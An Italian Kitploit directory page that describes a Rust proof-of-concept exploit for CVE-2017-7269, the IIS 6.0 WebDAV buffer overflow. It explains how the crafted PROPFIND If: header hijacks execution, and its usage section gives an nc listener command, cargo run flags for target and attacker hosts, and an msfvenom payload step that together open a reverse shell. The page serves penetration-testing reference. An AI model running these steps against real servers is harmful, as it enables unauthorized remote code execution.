Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-7269 — Un'implementazione in Rust della POC per CVE-2017-7269, che prende di mira il servizio WebDAV in Microsoft Internet Information Services (IIS) 6.0. | Kitploit
Strumenti/GitHubGitHub/nika0x38/cve-2017-7269
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubnika0x38/cve-2017-7269

CVE-2017-7269

Un'implementazione in Rust della POC per CVE-2017-7269, che prende di mira il servizio WebDAV in Microsoft Internet Information Services (IIS) 6.0.

Vedi Repository
110 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2017-7269 - Overflow del buffer WebDAV di IIS 6.0

RustSecurity

Un'implementazione in Rust del POC per CVE-2017-7269, che prende di mira il servizio WebDAV in Microsoft Internet Information Services (IIS) 6.0.

Panoramica della vulnerabilità

CVE-2017-7269 è una vulnerabilità critica di overflow del buffer basato sullo stack trovata nel servizio WebDAV di Microsoft IIS 6.0, incluso in Windows Server 2003 R2. Un exploit riuscito consente a un attaccante non autenticato di ottenere l'esecuzione remota di codice sul server bersaglio.

Dettagli tecnici

  • Componente vulnerabile: httpext.dll (estensione WebDAV di IIS)
  • Funzione vulnerabile: ScStoragePathFromUrl
  • Trigger: Una richiesta HTTP PROPFIND appositamente modificata.
  • Vettore di attacco: Un header If: eccessivamente lungo contenente più URL.

Descrizione

La vulnerabilità è un classico overflow del buffer dello stack. Viene innescata quando la funzione ScStoragePathFromUrl elabora una richiesta PROPFIND contenente un header If: dannoso.

Questo exploit crea un header di questo tipo con una lunga stringa di byte, che supera la capacità del buffer allocato sullo stack. Questo overflow sovrascrive dati critici dello stack, incluso l'indirizzo di ritorno salvato (EIP). L'exploit dirotta il flusso di esecuzione del programma puntando questo indirizzo di ritorno a un piccolo payload shellcode iniziale anch'esso situato nell'header dannoso. Il compito di questo shellcode di primo stadio è trovare ed eseguire il payload principale, una reverse shell, inviata nel corpo della stessa richiesta HTTP. Questo POC dimostra con successo l'esecuzione remota di codice collegando una shell cmd.exe a un listener controllato dall'attaccante.

Utilizzo

Esempio 1: Reverse shell integrata

  1. Prepara un listener (regola la porta in modo che corrisponda a --lport):

    root@kitploit:~
    nc -lvnp <attacker-port>
    
  2. Esegui l'exploit con shellcode incorporato:

    root@kitploit:~
    cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
    

    Lo strumento applica le patch allo shellcode WSA al volo usando LHOST/LPORT e lo consegna nel corpo della richiesta HTTP. Quando il bersaglio è vulnerabile, il tuo listener riceverà una reverse shell da cmd.exe.

Esempio 2: Payload esterno ma non raccomandato (--payload)

  1. Crea un payload grezzo

    root@kitploit:~
    msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
    
  2. Consegna il payload (nessun bisogno di --lhost/--lport perché lo shellcode contiene già quelle informazioni):

    root@kitploit:~
    cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
    
  3. Gestisci il callback nello stesso listener di prima. Poiché il binario si limita a trasmettere i byte forniti, il comportamento esatto dipende dal payload che hai generato.

Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e a test di penetrazione autorizzati. Usalo in modo responsabile e solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione.

Scarica lo strumento